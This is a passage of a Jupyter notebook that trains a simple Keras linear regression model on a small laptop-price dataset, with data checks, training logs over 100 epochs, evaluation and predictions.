8 17.3 402990 \n", - "28 1000 256 4 15.6 99555 " - ] - }, - "execution_count": 61, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df=pd.read_csv(\"C:\\\\Users\\\\ankit\\\\Documents\\\\Project Files\\\\laptop price data.csv\")\n", - "df" - ] - }, - { - "cell_type": "code", - "execution_count": 62, - "id": "09823c35", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "Manufacturer 0\n", - "IntelCore(i-) 0\n", - "IntelCoreGen 0\n", - "processing speed(GHz) 0\n", - "Ram(gb) 0\n", - "HDD(gb) 0\n", - "SSD(gb) 0\n", - "Graphics(gb) 0\n", - "ScreenSize(inch) 0\n", - "Price 0\n", - "dtype: int64" - ] - }, - "execution_count": 62, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.isnull().sum()" - ] - }, - { - "cell_type": "code", - "execution_count": 63, - "id": "bab190a8", - "metadata": {}, - "outputs": [], - "source": [ - "label=LabelEncoder()\n", - "df[\"Manufacturer\"]=label.fit_transform(df[\"Manufacturer\"])" - ] - }, - { - "cell_type": "code", - "execution_count": 64, - "id": "215837fa", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
ManufacturerIntelCore(i-)IntelCoreGenprocessing speed(GHz)Ram(gb)HDD(gb)SSD(gb)Graphics(gb)ScreenSize(inch)Price
01372.29410000015.639057
11372.30410000015.645141
22372.308256256014.035999
30372.30410000014.039990
42372.40410000015.636263
\n", - "
" - ], - "text/plain": [ - " Manufacturer IntelCore(i-) IntelCoreGen processing speed(GHz) Ram(gb) \\\n", - "0 1 3 7 2.29 4 \n", - "1 1 3 7 2.30 4 \n", - "2 2 3 7 2.30 8 \n", - "3 0 3 7 2.30 4 \n", - "4 2 3 7 2.40 4 \n", - "\n", - " HDD(gb) SSD(gb) Graphics(gb) ScreenSize(inch) Price \n", - "0 1000 0 0 15.6 39057 \n", - "1 1000 0 0 15.6 45141 \n", - "2 256 256 0 14.0 35999 \n", - "3 1000 0 0 14.0 39990 \n", - "4 1000 0 0 15.6 36263 " - ] - }, - "execution_count": 64, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df.head() " - ] - }, - { - "cell_type": "code", - "execution_count": 65, - "id": "08204d4d", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "2 11\n", - "3 10\n", - "0 5\n", - "1 3\n", - "Name: Manufacturer, dtype: int64" - ] - }, - "execution_count": 65, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "df[\"Manufacturer\"].value_counts()" - ] - }, - { - "cell_type": "code", - "execution_count": 66, - "id": "cdff90ae", - "metadata": {}, - "outputs": [], - "source": [ - "X=df.drop(\"Price\",axis=1)\n", - "y=df[\"Price\"]" - ] - }, - { - "cell_type": "code", - "execution_count": 67, - "id": "2b878eef", - "metadata": {}, - "outputs": [ - { - "data": { - "text/html": [ - "
\n", - "\n", - "\n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - " \n", - "
ManufacturerIntelCore(i-)IntelCoreGenprocessing speed(GHz)Ram(gb)HDD(gb)SSD(gb)Graphics(gb)ScreenSize(inch)
01372.29410000015.6
11372.30410000015.6
22372.308256256014.0
30372.30410000014.0
42372.40410000015.6
\n", - "
" - ], - "text/plain": [ - " Manufacturer IntelCore(i-) IntelCoreGen processing speed(GHz) Ram(gb) \\\n", - "0 1 3 7 2.29 4 \n", - "1 1 3 7 2.30 4 \n", - "2 2 3 7 2.30 8 \n", - "3 0 3 7 2.30 4 \n", - "4 2 3 7 2.40 4 \n", - "\n", - " HDD(gb) SSD(gb) Graphics(gb) ScreenSize(inch) \n", - "0 1000 0 0 15.6 \n", - "1 1000 0 0 15.6 \n", - "2 256 256 0 14.0 \n", - "3 1000 0 0 14.0 \n", - "4 1000 0 0 15.6 " - ] - }, - "execution_count": 67, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "X.head()" - ] - }, - { - "cell_type": "code", - "execution_count": 68, - "id": "ee70a317", - "metadata": {}, - "outputs": [], - "source": [ - "X_train,X_test,y_train,y_test=train_test_split(X,y,test_size=0.2,random_state=40)" - ] - }, - { - "cell_type": "code", - "execution_count": 69, - "id": "f22ace1f", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 283ms/step - loss: 76345.6719 - mae: 76345.6719\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 66620.4062 - mae: 66620.4062\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 56895.1484 - mae: 56895.1484\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 47169.8789 - mae: 47169.8789\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 40745.7461 - mae: 40745.7461\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 40331.3984 - mae: 40331.3984\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 40084.8984 - mae: 40084.8984\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39928.3789 - mae: 39928.3789\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39771.8633 - mae: 39771.8633\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 39615.3438 - mae: 39615.3438\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 2ms/step - loss: 39458.8281 - mae: 39458.8281\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 39302.3125 - mae: 39302.3125\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 39145.7930 - mae: 39145.7930\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 38989.2773 - mae: 38989.2773\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 38851.1016 - mae: 38851.1016\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 38744.4883 - mae: 38744.4883\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38637.8711 - mae: 38637.8711\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 38531.2617 - mae: 38531.2617\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 38424.6484 - mae: 38424.6484\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38318.0312 - mae: 38318.0312\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38211.4219 - mae: 38211.4219\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 38104.8008 - mae: 38104.8008\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37998.1875 - mae: 37998.1875\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 37891.5742 - mae: 37891.5742\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 37798.6055 - mae: 37798.6055\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37697.2266 - mae: 37697.2266\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 37590.6133 - mae: 37590.6133\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 37483.9961 - mae: 37483.9961\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 37390.9062 - mae: 37390.9062\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 7ms/step - loss: 37289.6484 - mae: 37289.6484\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 37183.0352 - mae: 37183.0352\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 37076.4258 - mae: 37076.4258\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36983.2070 - mae: 36983.2070\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36882.0742 - mae: 36882.0742\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36775.4570 - mae: 36775.4570\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 36668.8438 - mae: 36668.8438\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 36575.5117 - mae: 36575.5117\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36474.4961 - mae: 36474.4961\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36367.8789 - mae: 36367.8789\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36261.2695 - mae: 36261.2695\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 36167.8125 - mae: 36167.8125\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 36066.9180 - mae: 36066.9180\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35960.3008 - mae: 35960.3008\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 35853.6914 - mae: 35853.6914\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 35760.1133 - mae: 35760.1133\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35659.3438 - mae: 35659.3438\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35552.7266 - mae: 35552.7266\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 35446.1133 - mae: 35446.1133\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35352.4141 - mae: 35352.4141\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 35251.7617 - mae: 35251.7617\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35145.1484 - mae: 35145.1484\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 35038.5352 - mae: 35038.5352\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34944.7148 - mae: 34944.7148\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 34844.1875 - mae: 34844.1875\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34737.5703 - mae: 34737.5703\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 34630.9570 - mae: 34630.9570\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 34537.0156 - mae: 34537.0156\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34436.6094 - mae: 34436.6094\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34329.9961 - mae: 34329.9961\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 34223.3789 - mae: 34223.3789\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 34129.3164 - mae: 34129.3164\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 34029.0312 - mae: 34029.0312\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 33922.4219 - mae: 33922.4219\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33815.8047 - mae: 33815.8047\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33721.6211 - mae: 33721.6211\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 33621.4531 - mae: 33621.4531\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33514.8438 - mae: 33514.8438\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 33408.2266 - mae: 33408.2266\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 33313.9258 - mae: 33313.9258\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33213.8789 - mae: 33213.8789\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33107.2656 - mae: 33107.2656\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 33000.6484 - mae: 33000.6484\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 32906.2227 - mae: 32906.2227\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 32806.3008 - mae: 32806.3008\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 32699.6855 - mae: 32699.6855\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 32593.0703 - mae: 32593.0703\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 32498.5215 - mae: 32498.5215\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 32398.7246 - mae: 32398.7246\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 32292.1133 - mae: 32292.1133\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 32185.4980 - mae: 32185.4980\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 32090.8262 - mae: 32090.8262\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 31991.1504 - mae: 31991.1504\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 31884.5352 - mae: 31884.5352\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31777.9219 - mae: 31777.9219\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 31683.1250 - mae: 31683.1250\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 31583.5684 - mae: 31583.5684\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31476.9531 - mae: 31476.9531\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 31370.3457 - mae: 31370.3457\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 31275.4219 - mae: 31275.4219\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 31175.9941 - mae: 31175.9941\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 31069.3770 - mae: 31069.3770\n", - "Epoch 92/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 30962.7656 - mae: 30962.7656\n", - "Epoch 93/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 30867.7246 - mae: 30867.7246\n", - "Epoch 94/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 30768.4160 - mae: 30768.4160\n", - "Epoch 95/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 30661.8008 - mae: 30661.8008\n", - "Epoch 96/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 30555.1855 - mae: 30555.1855\n", - "Epoch 97/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 30460.0273 - mae: 30460.0273\n", - "Epoch 98/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 30360.8398 - mae: 30360.8398\n", - "Epoch 99/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 30254.2285 - mae: 30254.2285\n", - "Epoch 100/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 30147.6133 - mae: 30147.6133\n" - ] - }, - { - "data": { - "text/plain": [ - "" - ] - }, - "execution_count": 69, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "tf.random.set_seed(42)\n", - "# Create model using sequential API\n", - "model=tf.keras.Sequential([tf.keras.layers.Dense(1)]) # 1 for taking one input and predicting 1 output\n", - "\n", - "# Compile the model\n", - "model.compile(loss=tf.keras.losses.mae, optimizer=tf.keras.optimizers.SGD(), metrics=[\"mae\"])\n", - "# mae = mean absolute error \n", - "#Fit the model\n", - "model.fit(X_train,y_train,epochs=100, verbose=1) # epochs = oppurtuinity" - ] - }, - { - "cell_type": "code", - "execution_count": 70, - "id": "1f0aeb89", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 89ms/step - loss: 5206.0625 - mae: 5206.0625\n" - ] - }, - { - "data": { - "text/plain": [ - "[5206.0625, 5206.0625]" - ] - }, - "execution_count": 70, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "model.evaluate(X_test,y_test)" - ] - }, - { - "cell_type": "code", - "execution_count": 71, - "id": "6c25f873", - "metadata": {}, - "outputs": [ - { - "data": { - "text/plain": [ - "(array([[37510.29 ],\n", - " [74988.85 ],\n", - " [68792.07 ],\n", - " [42063.043],\n", - " [42061.68 ],\n", - " [42053.344]], dtype=float32),\n", - " 2 35999\n", - " 16 56990\n", - " 19 74931\n", - " 14 45390\n", - " 15 40338\n", - " 13 42590\n", - " Name: Price, dtype: int64)" - ] - }, - "execution_count": 71, - "metadata": {}, - "output_type": "execute_result" - } - ], - "source": [ - "y_pred=model.predict(X_test)\n", - "y_pred,y_test" - ] - }, - { - "cell_type": "code", - "execution_count": 72, - "id": "e3ef2e52", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "1/1 [==============================] - 0s 287ms/step - loss: 76582.3281 - mae: 76582.3281\n", - "Epoch 2/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 40429.0938 - mae: 40429.0938\n", - "Epoch 3/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 69726.2500 - mae: 69726.2500\n", - "Epoch 4/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 996415.3750 - mae: 996415.3750\n", - "Epoch 5/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.8594 - mae: 76658.8594\n", - "Epoch 6/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.8516 - mae: 76658.8516\n", - "Epoch 7/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.8281 - mae: 76658.8281\n", - "Epoch 8/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.8281 - mae: 76658.8281\n", - "Epoch 9/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.8203 - mae: 76658.8203\n", - "Epoch 10/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.8047 - mae: 76658.8047\n", - "Epoch 11/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.7969 - mae: 76658.7969\n", - "Epoch 12/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7969 - mae: 76658.7969\n", - "Epoch 13/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.7812 - mae: 76658.7812\n", - "Epoch 14/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7734 - mae: 76658.7734\n", - "Epoch 15/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.7578 - mae: 76658.7578\n", - "Epoch 16/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7422 - mae: 76658.7422\n", - "Epoch 17/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7422 - mae: 76658.7422\n", - "Epoch 18/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7344 - mae: 76658.7344\n", - "Epoch 19/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7188 - mae: 76658.7188\n", - "Epoch 20/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.7031 - mae: 76658.7031\n", - "Epoch 21/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.7031 - mae: 76658.7031\n", - "Epoch 22/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.6953 - mae: 76658.6953\n", - "Epoch 23/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.6875 - mae: 76658.6875\n", - "Epoch 24/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.6719 - mae: 76658.6719\n", - "Epoch 25/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.6562 - mae: 76658.6562\n", - "Epoch 26/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.6484 - mae: 76658.6484\n", - "Epoch 27/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.6406 - mae: 76658.6406\n", - "Epoch 28/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.6328 - mae: 76658.6328\n", - "Epoch 29/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.6172 - mae: 76658.6172\n", - "Epoch 30/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.6094 - mae: 76658.6094\n", - "Epoch 31/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 76658.6016 - mae: 76658.6016\n", - "Epoch 32/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5938 - mae: 76658.5938\n", - "Epoch 33/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5781 - mae: 76658.5781\n", - "Epoch 34/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.5703 - mae: 76658.5703\n", - "Epoch 35/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5547 - mae: 76658.5547\n", - "Epoch 36/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5469 - mae: 76658.5469\n", - "Epoch 37/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5391 - mae: 76658.5391\n", - "Epoch 38/100\n", - "1/1 [==============================] - 0s 6ms/step - loss: 76658.5312 - mae: 76658.5312\n", - "Epoch 39/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.5234 - mae: 76658.5234\n", - "Epoch 40/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.5078 - mae: 76658.5078\n", - "Epoch 41/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.4922 - mae: 76658.4922\n", - "Epoch 42/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.4922 - mae: 76658.4922\n", - "Epoch 43/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.4844 - mae: 76658.4844\n", - "Epoch 44/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.4688 - mae: 76658.4688\n", - "Epoch 45/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.4531 - mae: 76658.4531\n", - "Epoch 46/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.4453 - mae: 76658.4453\n", - "Epoch 47/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.4453 - mae: 76658.4453\n", - "Epoch 48/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.4375 - mae: 76658.4375\n", - "Epoch 49/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.4219 - mae: 76658.4219\n", - "Epoch 50/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.4062 - mae: 76658.4062\n", - "Epoch 51/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3984 - mae: 76658.3984\n", - "Epoch 52/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.3906 - mae: 76658.3906\n", - "Epoch 53/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3828 - mae: 76658.3828\n", - "Epoch 54/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3672 - mae: 76658.3672\n", - "Epoch 55/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.3672 - mae: 76658.3672\n", - "Epoch 56/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3516 - mae: 76658.3516\n", - "Epoch 57/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.3438 - mae: 76658.3438\n", - "Epoch 58/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3281 - mae: 76658.3281\n", - "Epoch 59/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.3203 - mae: 76658.3203\n", - "Epoch 60/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.3047 - mae: 76658.3047\n", - "Epoch 61/100\n", - "1/1 [==============================] - 0s 2ms/step - loss: 76658.2969 - mae: 76658.2969\n", - "Epoch 62/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.2969 - mae: 76658.2969\n", - "Epoch 63/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.2812 - mae: 76658.2812\n", - "Epoch 64/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.2734 - mae: 76658.2734\n", - "Epoch 65/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.2578 - mae: 76658.2578\n", - "Epoch 66/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.2422 - mae: 76658.2422\n", - "Epoch 67/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.2422 - mae: 76658.2422\n", - "Epoch 68/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.2344 - mae: 76658.2344\n", - "Epoch 69/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.2188 - mae: 76658.2188\n", - "Epoch 70/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.2031 - mae: 76658.2031\n", - "Epoch 71/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.1953 - mae: 76658.1953\n", - "Epoch 72/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.1953 - mae: 76658.1953\n", - "Epoch 73/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.1875 - mae: 76658.1875\n", - "Epoch 74/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.1719 - mae: 76658.1719\n", - "Epoch 75/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.1562 - mae: 76658.1562\n", - "Epoch 76/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.1484 - mae: 76658.1484\n", - "Epoch 77/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.1406 - mae: 76658.1406\n", - "Epoch 78/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.1328 - mae: 76658.1328\n", - "Epoch 79/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.1172 - mae: 76658.1172\n", - "Epoch 80/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.1094 - mae: 76658.1094\n", - "Epoch 81/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.1016 - mae: 76658.1016\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "1/1 [==============================] - 0s 4ms/step - loss: 76658.0859 - mae: 76658.0859\n", - "Epoch 83/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.0781 - mae: 76658.0781\n", - "Epoch 84/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.0703 - mae: 76658.0703\n", - "Epoch 85/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.0547 - mae: 76658.0547\n", - "Epoch 86/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.0469 - mae: 76658.0469\n", - "Epoch 87/100\n", - "1/1 [==============================] - 0s 5ms/step - loss: 76658.0391 - mae: 76658.0391\n", - "Epoch 88/100\n", - "1/1 [==============================] - 0s 4ms/step - loss: 76658.0312 - mae: 76658.0312\n", - "Epoch 89/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.0234 - mae: 76658.0234\n", - "Epoch 90/100\n", - "1/1 [==============================] - 0s 3ms/step - loss: 76658.0078 - mae: 76658.0078\n", - "Epoch 91/100\n", - "1/1 [==============================] - 0s 3ms/step 